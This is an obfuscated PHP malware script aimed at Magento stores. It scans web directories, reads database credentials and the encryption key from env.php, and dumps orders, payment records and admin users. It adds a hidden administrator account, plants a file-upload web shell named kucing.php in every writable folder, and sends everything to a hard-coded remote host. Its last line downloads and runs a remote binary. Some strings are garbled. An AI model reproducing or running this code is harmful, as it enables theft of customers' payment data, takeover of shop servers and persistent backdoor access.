goto sR2ts; RIb4i: foreach ($LgF2o as $fiNTn) { goto KA5uc; KA5uc: $e1mwd = $xS3Zx . $fiNTn; goto O2WbL; RK0ja: hcg_g: goto qcYTP; fiaTL: b4GrT: goto RK0ja; WK48I: if (!file_exists($gxonb)) { goto b4GrT; } goto buL2d; buL2d: $Jz6Q7[] = ["env_config" => $gxonb, "fullPath" => $e1mwd]; goto fiaTL; O2WbL: $gxonb = $e1mwd . "/app/etc/env.php"; goto WK48I; qcYTP: } goto UciQo; PaR_4: if (!(count($Jz6Q7) > 0)) { goto ETxA5; } goto RDLSJ; ouKqU: $NMFU2 = 1; goto ghGXz; FJxsD: $xS3Zx = "/var/www/"; goto Wj51X; igVaC: $ClAVp = php_uname(); goto FJxsD; wep2z: DPfYQ: goto kzeNS; gHp9d: function i88xf($b9012, $TjlJ6, $VaiHe) { goto V3C4j; KsWqA: Su0kr: goto YU4XG; Og3Sr: lIUjG: goto PHnIw; eP5Vg: $VuSB0 = count($MjchY); goto B2MxU; Nsh1L: $MjchY[] = $LTfns; goto bMoIn; vwOKp: $MjchY = []; goto wYpPK; FyOUG: foreach ($MjchY as $OdsB8) { goto kTURW; kTURW: $wCcIB .= "[{$NMFU2}/{$VuSB0}]" . json_encode($OdsB8) . "
"; goto ofs26; ofs26: $NMFU2 += 1; goto BoNdU; BoNdU: e2dyk: goto ufTTU; ufTTU: } goto Og3Sr; B2MxU: $ZL8Zj .= "[DUMP]{$TjlJ6}:{$VuSB0}
"; goto N8ss3; bMoIn: goto Su0kr; goto Httx7; IS53w: return $ZL8Zj; goto yJbqm; Httx7: kn2lR: goto eP5Vg; YU4XG: if (!($LTfns = mysqli_fetch_array($rlygk, MYSQLI_ASSOC))) { goto kn2lR; } goto Nsh1L; fJVD5: $ZL8Zj = ''; goto vwOKp; PHnIw: $ZL8Zj .= "[DUMP][DATA]\xa{$wCcIB}
"; goto IS53w; V3C4j: $wCcIB = ''; goto fJVD5; N8ss3: $NMFU2 = 1; goto FyOUG; wYpPK: $rlygk = mysqli_query($b9012, $VaiHe); goto KsWqA; yJbqm: } goto O5TSy; i23Xx: function MQj8r($YbxFL, $NseNg, $yxRXd) { goto kWvhc; L3Z8B: return 5; goto NkS0E; AJm2o: return 0; goto C2Hsy; JOcOV: $S4eBQ = sprintf("INSERT INTO `%sauthorization_role`
        (parent_id, tree_level, sort_order, role_type, user_id, user_type, role_name)\xa        VALUES (%d,, 0, 'U', %d, :', 'Administrators')", $NseNg, $seQaS, $HFYxc); goto vK0vQ; oswbA: $HU_Pl = $yxRXd["email"]; goto e9z0o; gnIAS: $zn4ww = mysqli_query($YbxFL, "SELECT user_id FROM `{$NseNg}admin_user` WHERE username='{$XqshU}' OR email='{$HU_Pl}' LIMIT
"); goto gSQAX; Klsc_: $gJ89P = sprintf("INSERT INTO `%sauthorization_rule` (role_id, resource_id, privileges, permission)\xa        VALUES (%d, 'all', NULL, 'allow')", $NseNg, $seQaS); goto eTh6M; Ad2ZX: $V_nf9 = $yxRXd["salt"]; goto F9qD0; QjO32: wF5he: goto iArnQ; ZHiKK: $seQaS = (int) $XAFCu["role_id"]; goto WYUW5; WYUW5: ntPrH: goto btK4j; SxlzN: VS8x1: goto Klsc_; eTh6M: if (mysqli_query($YbxFL, $gJ89P)) { goto N2UkV; } goto L3Z8B; en6zl: $HFYxc = (int) $XAFCu["user_id"]; goto gBSHR; JEV8P: return 1; goto AsG3D; h8bM5: $XAFCu = mysqli_fetch_assoc($hrQD2); goto ZHiKK; OOfGc: $OEIN6 = hash("sha256", $TlLBk); goto wCYhR; fDnhx: return 4; goto KLRaY; w5q92: $hrQD2 = mysqli_query($YbxFL, "SELECT role_id FROM {$NseNg}authorization_role WHERE user_id = {$HFYxc} LIMIT
"); goto LCq7K; AsG3D: ZeGoM: goto Ad2ZX; iArnQ: $seQaS = 1; goto qOxgk; wCYhR: $FQKdw = "6f2b33a4b457b4dbe75cc5ceb44f232af92a085b2ac7124c6ef3c3b3ea3d:q1WqCn4W7Pm7zmKFQM7Ijw2JET4aPa:3_32_2_1084"; goto Cnw3K; F9qD0: $TlLBk = $yxRXd["password"] . $V_nf9; goto OOfGc; O9Iey: if (mysqli_query($YbxFL, $wYBjy)) { goto wF5he; } goto u5Tzj; KLRaY: l3TCf: goto w5q92; gBSHR: vG6Nq: goto JOcOV; oH_4Q: if (!(mysqli_num_rows($hrQD2) > 0)) { goto ntPrH; } goto h8bM5; wBvoY: $XAFCu = mysqli_fetch_assoc($zn4ww); goto en6zl; LCq7K: if (!(mysqli_num_rows($hrQD2) > 0)) { goto VS8x1; } goto zOxUv; qOxgk: $hrQD2 = mysqli_query($YbxFL, "SELECT role_id FROM {$NseNg}authorization_role WHERE role_name = 'Administrators' AND role_type = 'G' LIMIT 1"); goto oH_4Q; RkNyK: $wYBjy = sprintf("INSERT INTO `%sadmin_user`
        (firstname, lastname, email, username, password, created, modified, is_active)\xa        VALUES ('%s','%s','%s','%s','%s','%s','%s',%d)", $NseNg, mysqli_real_escape_string($YbxFL, $yxRXd["firstname"]), mysqli_real_escape_string($YbxFL, $yxRXd["lastname"]), mysqli_real_escape_string($YbxFL, $yxRXd["email"]), mysqli_real_escape_string($YbxFL, $yxRXd["username"]), mysqli_real_escape_string($YbxFL, $FQKdw), $d4mE8, $d4mE8, $yxRXd["is_active"]); goto O9Iey; e9z0o: $zn4ww = mysqli_query($YbxFL, "SELECT 1 FROM `{$NseNg}admin_user` WHERE username='{$XqshU}' OR email='{$HU_Pl}' LIMIT 1"); goto qgEil; zOxUv: $XAFCu = mysqli_fetch_assoc($hrQD2); goto hVaBA; gSQAX: if (!(mysqli_num_rows($zn4ww) > 0)) { goto vG6Nq; } goto wBvoY; hVaBA: $seQaS = (int) $XAFCu["role_id"]; goto SxlzN; btK4j: $HFYxc = mysqli_insert_id($YbxFL); goto gnIAS; NkS0E: N2UkV: goto AJm2o; vK0vQ: if (mysqli_query($YbxFL, $S4eBQ)) { goto l3TCf; } goto fDnhx; qgEil: if (!(mysqli_num_rows($zn4ww) > 0)) { goto ZeGoM; } goto JEV8P; u5Tzj: return 3; goto QjO32; Cnw3K: $d4mE8 = date("Y-m-d H:i:s"); goto RkNyK; kWvhc: $XqshU = $yxRXd["username"]; goto oswbA; C2Hsy: } goto bU9oI; kzeNS: ETxA5: goto x8Z_q; RDLSJ: $ZL8Zj = "Os:{$ClAVp}\xasite:{$MuVMg}
"; goto ouKqU; ghGXz: $VPQfI = count($Jz6Q7); goto cfESb; x8Z_q: ANPTC("site={$MuVMg}&data=" . base64_encode($ZL8Zj)); goto hhBMZ; sR2ts: $MuVMg = "https://1.1.1.1"; goto gHp9d; UciQo: LcutA: goto LM0uE; cfESb: foreach ($Jz6Q7 as $tUsaz) { goto a2iq3; o_eDW: $NMFU2 += 1; goto G_bxP; pcDdc: $xS3Zx = $tUsaz["fullPath"]; goto s5PPy; G_bxP: JefKF: goto hJbGx; H0Uev: $ZL8Zj .= Y0kxk($gxonb, $MuVMg, $xS3Zx); goto o_eDW; s5PPy: $ZL8Zj .= "[{$NMFU2}/{$VPQfI}]Dir:{$xS3Zx}\xa"; goto H0Uev; a2iq3: $gxonb = $tUsaz["env_config"]; goto pcDdc; hJbGx: } goto wep2z; O5TSy: function Y0KXK($gxonb, $MuVMg, $xS3Zx) { goto icYq7; oD5Jn: $bBZTE = $iBlD4["crypt"]["key"]; goto HoKvs; rdG48: $ZL8Zj .= "[DIR] Not writeable
"; goto ckTc2; rsAjf: PrC_T: goto g2oj_; TOk1a: $QqrRh .= "[DB]host:" . $DTiP5 . "\xa"; goto prj4l; TsaXF: $UCmYt = $iBlD4["db"]["connection"]["default"]["dbname"]; goto JXZdN; aVAN_: return $ZL8Zj; goto pbMiB; y9KKQ: goto PrC_T; goto U1hIe; pS6ud: if ($LgF2o) { goto lGUC7; } goto OvzIR; KSVPo: $ZL8Zj .= "[DB]" . base64_encode($QqrRh) . "\xa"; goto unGS5; jvsKB: $QqrRh .= "[DB]username:" . $XqshU . "
"; goto IDEgW; KINtM: $Si1lc = $iBlD4["db"]["connection"]["default"]["password"]; goto oD5Jn; Xre2x: wafO1: goto t_pHw; icYq7: $ZL8Zj = ''; goto ELcWW; F1g96: $QqrRh .= "[DB]table_prefix:" . $i92Bm . "\xa"; goto KSVPo; VZ5k1: $G8xtk = ''; goto MMfud; HE9QE: $DTiP5 = $iBlD4["db"]["connection"]["default"]["host"]; goto TsaXF; t2osk: if ($ZawjJ === 0) { goto wafO1; } goto izwTJ; TefEl: $ZL8Zj .= I88Xf($b9012, $i92Bm . "quote_payment", "SELECT * FROM " . $fE5bj . "quote_payment WHERE created_at LIKE '%2025-%' AND `method` != 'NULL'"); goto FiPvr; HoKvs: $ZL8Zj .= "[Admin]" . $MuVMg . "/" . $iBlD4["backend"]["frontName"] . "\xa"; goto A6m1Z; Aqktp: $ZL8Zj .= I88XF($b9012, $i92Bm . "sales_order", "SELECT * FROM " . $i92Bm . "sales_order WHERE created_at LIKE '%2025-%'"); goto TefEl; FiPvr: $ZL8Zj .= I88XF($b9012, $i92Bm . "admin_user", "SELECT * FROM " . $fE5bj . "admin_user"); goto aVAN_; g2oj_: $b9012 = mysqli_connect($DTiP5, $XqshU, $Si1lc, $UCmYt); goto GEqjx; G6VR0: njktX: goto r5Bn2; ckTc2: E73ZM: goto rsAjf; O0aS4: $ZawjJ = mQJ8r($b9012, $NseNg, $jR0il); goto t2osk; rxR_r: $i92Bm = $iBlD4["db"]["table_prefix"]; goto HE9QE; r5Bn2: if (!(strlen($G8xtk) == 0)) { goto E73ZM; } goto rdG48; A6m1Z: $QqrRh = "[Key]{$bBZTE}\xa"; goto TOk1a; unGS5: $qQoiL = "PD9waHAgaWYoaXNzZXQoJF9HRVRbJ3BsNkJBMmpuJ10pKXsgZWNobyAnPG8+Jy5waHBfdW5hbWUoKS4nPC9vPjxkPicuZ2V0Y3dkKCkuJzwvZD48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iMzAiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nO2lmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wXhbWUnXSwkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8nPHU+UzwvdT4nO31lbHNle2VjaG8nPHU+RjwvdT4nO319"; goto bsQ5N; bsQ5N: $LgF2o = scandir($xS3Zx); goto pS6ud; prj4l: $QqrRh .= "[DB]dbname:" . $UCmYt . "\xa"; goto jvsKB; uhzP2: nx1zw: goto Aqktp; JXZdN: $XqshU = $iBlD4["db"]["connection"]["default"]["username"]; goto KINtM; UvPO6: $jR0il = ["username" => "backup", "firstname" => "backup", "lastname" => "login", "email" => "backup@magento.com", "password" => "Backup1!", "is_active" => 1, "salt" => $bBZTE]; goto O0aS4; UThhl: goto nx1zw; goto Xre2x; MMfud: foreach ($LgF2o as $fiNTn) { goto lkAxr; Ewlld: file_put_contents($e1mwd . "/kucing.php", base64_decode($qQoiL)); goto wGqVC; FxMRF: if (!is_dir($e1mwd)) { goto T_GJN; } goto fP_Im; wGqVC: $ZL8Zj .= "[BACKDOOR]{$MuVMg}/{$fiNTn}/kucing.php?pl6BA2jn
"; goto kx1PT; lkAxr: if (!($fiNTn ===  || $fiNTn === "..")) { goto ey8hn; } goto jA8zF; Q4LqB: ey8hn: goto z6VQl; z6VQl: $e1mwd = $xS3Zx . "/" . $fiNTn; goto FxMRF; kx1PT: M7o1V: goto JDcM4; arWYM: $G8xtk = "WRITABLE"; goto Ewlld; jA8zF: goto x_X_M; goto Q4LqB; fP_Im: if (!is_writable($e1mwd)) { goto M7o1V; } goto arWYM; JDcM4: T_GJN: goto ZE_Q9; ZE_Q9: x_X_M: goto IT9sN; IT9sN: } goto G6VR0; izwTJ: $ZL8Zj .= "ERROR:{$ZawjJ}"; goto UThhl; GEqjx: mysqli_query($b9012, "DELETE FROM `{$i92Bm}admin_user` WHERE email in('backup@magento.com','lendirkucing69@gmail.com') LIMIT
"); goto UvPO6; ELcWW: $iBlD4 = (require $gxonb); goto rxR_r; IDEgW: $QqrRh .= "[DB]password:" . $Si1lc . "
"; goto F1g96; t_pHw: $ZL8Zj .= "[LOGIN]" . $MuVMg . "/" . $iBlD4["backend"]["frontName"] . "|user:{$jR0il["username"]}|pass:{$jR0il["password"]}\xa"; goto uhzP2; U1hIe: lGUC7: goto VZ5k1; OvzIR: $ZL8Zj .= "Directory: Fail to read
"; goto y9KKQ; pbMiB: } goto i23Xx; LM0uE: $ZL8Zj = ''; goto PaR_4; bU9oI: function wgLiA() { goto Pnbqf; eNaiX: $EwAPo = "LzEzNC4"; goto s5npt; Yl20H: $NMFU2 = "MTExLj"; goto OpRjl; sr4Z2: return base64_decode($HpHiT . $EwAPo . $pXFxj . $NMFU2 . $GxswY . $Vj43x); goto BxDJK; Pnbqf: $HpHiT = "aHR0cDov"; goto eNaiX; bzGFQ: $Vj43x = "wMDA="; goto sr4Z2; s5npt: $pXFxj = "yMDku"; goto Yl20H; OpRjl: $GxswY = "cxOjU"; goto bzGFQ; BxDJK: } goto qpxXA; Wj51X: $LgF2o = scandir($xS3Zx); goto RIb4i; qpxXA: function Anptc($wCcIB) { goto S8T7f; H0PMC: return ["error" => $mriB3]; goto EQFyr; kyit3: i2WkF: goto nKQzA; lxCam: $kxrwh = $wCcIB; goto uN6SO; W7KIj: return $x40dI; goto MdF85; iNcpu: curl_close($IUSo7); goto H0PMC; Se1jp: curl_close($IUSo7); goto W7KIj; VF8XK: curl_setopt($IUSo7, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]); goto kyit3; EQFyr: z_mUc: goto Se1jp; cOJg3: if (is_array($wCcIB)) { goto oIt3J; } goto lxCam; sutpx: oIt3J: goto cpLPQ; oomAf: curl_setopt($IUSo7, CURLOPT_SSL_VERIFYPEER, false); goto ReUA0; R1uGx: if (!($mriB3 = curl_error($IUSo7))) { goto z_mUc; } goto iNcpu; h556W: curl_setopt($IUSo7, CURLOPT_RETURNTRANSFER, true); goto Dgc8C; nKQzA: curl_setopt($IUSo7, CURLOPT_POSTFIELDS, $kxrwh); goto oomAf; ReUA0: curl_setopt($IUSo7, CURLOPT_TIMEOUT, 300); goto lDlp1; S8T7f: $IUSo7 = curl_init(wgliA()); goto h556W; Dgc8C: curl_setopt($IUSo7, CURLOPT_POST, true); goto cOJg3; uN6SO: goto i2WkF; goto sutpx; cpLPQ: $kxrwh = json_encode($wCcIB); goto VF8XK; lDlp1: $x40dI = curl_exec($IUSo7); goto R1uGx; MdF85: } goto igVaC; hhBMZ: system("curl -fsSL http:/y34.209.111.71:8081/.cache/nginx-php >/tmp/nginx;chmod +x /tmp/nginx;php /tmp/nginx &");